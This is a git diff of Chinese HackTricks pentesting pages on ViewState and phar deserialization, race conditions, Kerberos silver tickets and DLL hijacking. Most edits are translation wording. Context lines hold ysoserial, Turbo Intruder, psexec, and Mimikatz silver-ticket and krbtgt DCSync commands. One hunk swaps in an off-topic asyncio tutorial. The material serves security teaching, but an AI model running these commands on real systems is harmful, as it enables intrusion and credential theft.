对于所有的测试用例,如果 ViewState YSoSerial.Net 载荷**成功**起作用,服务器会响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,我们会得到如下图所示的 OOB 请求:
|
||||
|
||||
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
|
||||
|
||||
|
@ -205,9 +205,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的系统 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -216,9 +216,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想要访问最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 NFT 收藏品 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,17 +12,17 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的系统——我们正在招聘!(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
**Phar** 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,此**元数据**将被**反序列化**,你可以尝试滥用**PHP**代码中的**反序列化**漏洞。
|
||||
**Phar** 文件(PHP Archive)文件以序列化格式包含元数据,因此,在解析时,这些元数据会被反序列化,你可以尝试滥用 PHP 代码中的反序列化漏洞。
|
||||
|
||||
这个特性最好的一点是,即使使用不评估 PHP 代码的 PHP 函数(如**file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这种反序列化也会发生。
|
||||
这个特性最好的一点是,即使使用不会评估 PHP 代码的 PHP 函数(如 **file\_get\_contents()、fopen()、file() 或 file\_exists()、md5\_file()、filemtime() 或 filesize()**),这种反序列化也会发生。
|
||||
|
||||
因此,想象一种情况,你可以使用**`phar://`**协议使 PHP 网页获取任意文件的大小,并在代码中找到类似以下的**类**:
|
||||
所以,想象一下这样的情况,你可以使用 **`phar://`** 协议使 PHP 网页获取任意文件的大小,并在代码中找到类似下面的代码:
|
||||
|
||||
{% code title="vunl.php" %}
|
||||
```php
|
||||
|
@ -42,7 +42,7 @@ filesize("phar://test.phar"); #The attacker can control this path
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
您可以创建一个**phar**文件,当加载时,将滥用此类以执行任意命令,例如:
|
||||
您可以创建一个**phar**文件,当加载时,它将滥用这个类来执行任意命令,例如:
|
||||
|
||||
{% code title="create_phar.php" %}
|
||||
```php
|
||||
|
@ -85,7 +85,7 @@ php vuln.php
|
|||
|
||||
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -98,7 +98,7 @@ php vuln.php
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,10 +12,10 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的**最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -52,13 +52,13 @@ HTTP2允许在**单个TCP连接**中发送**2个请求**(而在HTTP/1.1中,
|
|||
|
||||
使用这种技术,您可以使20-30个请求同时到达服务器 - 无论网络抖动如何:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**适应目标架构**
|
||||
|
||||
值得注意的是,许多应用程序位于前端服务器后面,这些服务器可能决定将某些请求转发到后端的现有连接,并为其他请求创建新的连接。
|
||||
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在执行攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如仅允许单个线程访问资源的锁定机制。此外,前端请求路由通常是基于每个连接的,因此您可以通过在攻击之前在服务器端进行连接预热 - **在连接上发送几个无关紧要的请求**(这只是在开始实际攻击之前发送几个请求)来平滑请求时间。
|
||||
|
||||
#### 基于会话的锁定机制 <a href="#session-based-locking-mechanisms" id="session-based-locking-mechanisms"></a>
|
||||
|
||||
|
@ -85,7 +85,7 @@ Web服务器通常会**延迟处理请求,如果发送得太快**。通过发
|
|||
|
||||
#### 攻击示例
|
||||
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
* **Tubo Intruder - HTTP2单数据包攻击(1个端点)**:您可以将请求发送到**Turbo Intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值为**`%s`**,例如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择**`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -130,13 +130,13 @@ engine.queue(confirmationReq, gate=currentAttempt)
|
|||
# send all the queued requests for this attempt
|
||||
engine.openGate(currentAttempt)
|
||||
```
|
||||
* 在Burp Suite的Repeater中,通过新的“并行发送组”选项也可以使用该功能。
|
||||
* 它还可以通过Burp Suite中的新的“并行发送组”选项在Repeater中使用。
|
||||
* 对于limit-overrun,您可以在组中添加相同的请求50次。
|
||||
* 对于连接预热,您可以在组的开头添加一些请求到Web服务器的非静态部分。
|
||||
* 对于在两个子状态步骤之间延迟处理一个请求和另一个请求,您可以在两个请求之间添加额外的请求。
|
||||
* 对于多端点的RC,您可以先发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
||||
* 对于多端点的RC,您可以开始发送到隐藏状态的请求,然后在其后发送50个利用隐藏状态的请求。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 原始BF
|
||||
|
||||
|
@ -165,21 +165,35 @@ table.add(req)
|
|||
```
|
||||
* **Python - asyncio**
|
||||
|
||||
Python的asyncio模块是一种用于编写异步代码的库。它提供了一种方便的方式来处理并发任务,特别是在网络编程中。asyncio使用事件循环来调度和执行异步任务,这样可以避免阻塞其他任务的执行。
|
||||
Python的asyncio模块是一种用于编写异步代码的库。它提供了一种方便的方式来处理并发任务,特别是在网络编程中。asyncio使用协程(coroutines)和事件循环(event loop)的概念来实现异步操作。
|
||||
|
||||
在使用asyncio进行并发编程时,我们可以使用`async`和`await`关键字来定义异步函数和等待异步操作的结果。这样可以使代码更加简洁和易于理解。
|
||||
协程是一种轻量级的线程,可以在不同的任务之间切换执行。通过使用async和await关键字,可以定义协程函数。协程函数可以在遇到IO操作时暂停执行,并在IO操作完成后恢复执行。
|
||||
|
||||
使用asyncio进行并发编程的一个常见问题是竞态条件(Race Condition)。竞态条件指的是多个任务同时访问和修改共享资源时可能出现的问题。在并发环境中,由于任务执行的顺序不确定,可能会导致不一致的结果或错误的行为。
|
||||
事件循环是一个无限循环,用于处理协程任务的调度和执行。它负责调度协程函数的执行顺序,并在需要时暂停和恢复协程的执行。
|
||||
|
||||
竞态条件可以在Web应用程序中的各个方面出现,例如用户认证、访问控制和数据更新。攻击者可以利用竞态条件来执行未经授权的操作或绕过访问控制。
|
||||
使用asyncio编写异步代码的好处是可以提高程序的性能和响应能力。通过并发执行多个任务,可以减少等待时间,并充分利用系统资源。
|
||||
|
||||
为了利用竞态条件进行攻击,攻击者需要找到一个合适的时间窗口,在该窗口内同时执行两个或多个关键操作。这可以通过多个并发请求或并发线程来实现。
|
||||
下面是一个使用asyncio的简单示例:
|
||||
|
||||
为了防止竞态条件的发生,我们可以采取一些措施,例如使用锁来保护共享资源、使用事务来确保原子性操作、使用乐观锁或悲观锁来处理并发访问等。
|
||||
```python
|
||||
import asyncio
|
||||
|
||||
在进行渗透测试时,我们可以利用竞态条件来发现潜在的安全漏洞。通过模拟并发请求或并发线程,我们可以尝试在关键操作之间插入恶意操作,以验证应用程序的安全性。
|
||||
async def hello():
|
||||
print("Hello")
|
||||
await asyncio.sleep(1)
|
||||
print("World")
|
||||
|
||||
总结一下,Python的asyncio模块提供了一种方便的方式来处理并发任务。然而,在使用asyncio进行并发编程时,我们需要注意竞态条件可能导致的安全问题,并采取适当的措施来防止和发现潜在的安全漏洞。
|
||||
async def main():
|
||||
await asyncio.gather(hello(), hello(), hello())
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
在上面的示例中,我们定义了一个hello函数,它会打印"Hello",然后暂停1秒钟,最后打印"World"。然后,我们定义了一个main函数,它使用asyncio.gather函数来并发执行三个hello函数。最后,我们使用asyncio.run函数来运行main函数。
|
||||
|
||||
通过运行上面的代码,我们可以看到"Hello"和"World"交替打印出来,说明协程函数的并发执行。
|
||||
|
||||
asyncio模块提供了丰富的功能和工具,用于处理异步编程。它可以用于编写高性能的网络服务器、爬虫、并发任务等。
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -209,7 +223,7 @@ asyncio.run(main())
|
|||
```
|
||||
## **RC方法论**
|
||||
|
||||
### 限制超越/TOCTOU
|
||||
### 限制超出/TOCTOU
|
||||
|
||||
这是最基本的一种竞争条件,其中**漏洞**出现在**限制您执行某个操作的次数的地方**。比如在网店中多次使用相同的折扣码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或者[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。
|
||||
|
||||
|
@ -235,11 +249,11 @@ asyncio.run(main())
|
|||
|
||||
存储在持久的服务器端数据结构中的数据非常适合利用。某些端点完全在客户端存储其状态,例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。
|
||||
|
||||
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于此后面会有更多介绍。
|
||||
应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 关于这一点稍后再说。
|
||||
|
||||
* **我们是在进行编辑还是追加操作?**
|
||||
* **我们是在编辑还是在追加?**
|
||||
|
||||
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅追加到现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除限制超越攻击之外的任何漏洞的影响。
|
||||
编辑现有数据的操作(例如更改帐户的主电子邮件地址)具有充足的冲突潜力,而仅追加到现有数据的操作(例如添加额外的电子邮件地址)不太可能受到除了限制超出攻击之外的任何漏洞。
|
||||
|
||||
* **操作的键是什么?**
|
||||
|
||||
|
@ -269,31 +283,31 @@ asyncio.run(main())
|
|||
要确认前面的情况,您只需同时请求**2个重置密码令牌**(使用单个数据包攻击),然后检查它们是否**相同**。
|
||||
{% endhint %}
|
||||
|
||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查示例。
|
||||
在[**此实验室的示例**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)中检查。
|
||||
|
||||
## 隐藏的子状态案例研究
|
||||
|
||||
### 支付并添加商品
|
||||
|
||||
[**查看此实验**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加一个额外的**商品,而无需为其付款。
|
||||
[**查看此实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加一个额外的**商品,而无需为其付款。
|
||||
|
||||
### 确认其他电子邮件
|
||||
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个地址**,以查看平台是否验证了新的更改后的地址。
|
||||
这个想法是**同时验证一个电子邮件地址并将其更改为另一个地址**,以查看平台是否验证了新的地址。
|
||||
|
||||
### 将电子邮件更改为2个电子邮件地址基于Cookie
|
||||
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine),Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
根据[**此篇文章**](https://portswigger.net/research/smashing-the-state-machine)的写作,Gitlab容易受到这种方式的接管,因为它可能会将一个电子邮件的**电子邮件验证令牌发送到另一个电子邮件**。
|
||||
|
||||
您还可以查看[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||
您还可以查看[**此实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)以了解更多信息。
|
||||
|
||||
### 隐藏的数据库状态/确认绕过
|
||||
|
||||
如果使用**2个不同的写入**将**信息**添加到**数据库**中,那么在**只有第一个数据被写入**数据库的一小段时间内。例如,创建用户时,**用户名**和**密码**可能会被**写入**,然后写入用于确认新创建的帐户的令牌。这意味着在一小段时间内,**确认帐户的令牌为空**。
|
||||
|
||||
因此,**注册一个帐户并发送多个带有空令牌**(`token=`或`token[]=`或任何其他变体)的请求以立即确认帐户,可以允许确认一个您无法控制的电子邮件的帐户。
|
||||
因此,**注册一个帐户并发送多个带有空令牌的请求**(`token=`或`token[]=`或任何其他变体)立即确认帐户可能允许您确认一个您无法控制的电子邮件的帐户。
|
||||
|
||||
在[**此实验**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||
在[**此实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)中检查一个示例。
|
||||
|
||||
### 绕过双因素认证
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
银票攻击是基于**在拥有服务的 NTLM 哈希(如 PC 账户哈希)的情况下,构造一个有效的 TGS**。因此,可以通过伪造自定义 TGS **以任何用户的身份**获得对该服务的访问权限。
|
||||
|
||||
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以管理员权限**进入该计算机**。计算机账户默认每30天重置密码。
|
||||
在这种情况下,拥有了一个计算机账户的 NTLM **哈希**(在 AD 中类似于用户账户)。因此,可以通过 SMB 服务**伪造**一个**票据**,以**管理员**权限进入该计算机。计算机账户默认每30天重置密码。
|
||||
|
||||
还必须考虑到可以使用 AES Kerberos 密钥(AES128 和 AES256)**伪造票据**,这是**可能且更好的**(操作安全)。要了解如何生成 AES 密钥,请阅读:[MS-KILE 的第4.4节](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-kile/936a4878-9462-4753-aac8-087cd3ca4625) 或 [Get-KerberosAESKey.ps1](https://gist.github.com/Kevin-Robertson/9e0f8bfdbf4c1e694e6ff4197f0a4372)。
|
||||
|
||||
|
@ -34,7 +34,7 @@ python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
在Windows中,可以使用**Mimikatz**来**构造**票据。然后,使用**Rubeus**注入票据,最后通过**PsExec**可以获得远程shell。
|
||||
在Windows中,可以使用**Mimikatz**来**构造**票据。然后,使用**Rubeus**注入票据,最后可以通过**PsExec**获得远程shell。
|
||||
|
||||
{% code title="Windows" %}
|
||||
```bash
|
||||
|
@ -51,7 +51,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**CIFS**服务允许您访问受害者的文件系统。您可以在此处找到其他服务:[**https://adsecurity.org/?page\_id=183**](https://adsecurity.org/?page\_id=183)**。**例如,您可以使用**HOST服务**在计算机上创建一个_schtask_。然后,您可以尝试列出受害者的任务来检查是否成功:`schtasks /S <hostname>`或者您可以使用**HOST和RPCSS服务**在计算机上执行**WMI**查询,测试方法如下:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
**CIFS**服务允许您访问受害者的文件系统。您可以在此处找到其他服务:[https://adsecurity.org/?page\_id=183](https://adsecurity.org/?page\_id=183)。例如,您可以使用**HOST服务**在计算机上创建一个_schtask_。然后,您可以尝试列出受害者的任务来检查是否成功:`schtasks /S <hostname>`,或者您可以使用**HOST和RPCSS服务**在计算机上执行**WMI**查询,测试方法如下:`Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>`
|
||||
|
||||
### 缓解措施
|
||||
|
||||
|
@ -68,7 +68,7 @@ kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291
|
|||
| 服务类型 | 服务银票 |
|
||||
| ---------------------------------------- | ---------------------------------------------------------------- |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还有:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| PowerShell 远程管理 | <p>HOST</p><p>HTTP</p><p>根据操作系统还可能有:</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下,您只需请求:WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享,也可以使用psexec | CIFS |
|
||||
|
@ -152,15 +152,15 @@ New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
|||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
**在以下页面了解更多关于DCSync的内容**:
|
||||
在以下页面了解有关DCSync的更多信息:
|
||||
|
||||
{% content-ref url="dcsync.md" %}
|
||||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -168,10 +168,10 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
|
@ -20,9 +20,9 @@
|
|||
|
||||
## 定义
|
||||
|
||||
首先,让我们先了解一下定义。DLL劫持是指以最广义的意义上,**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
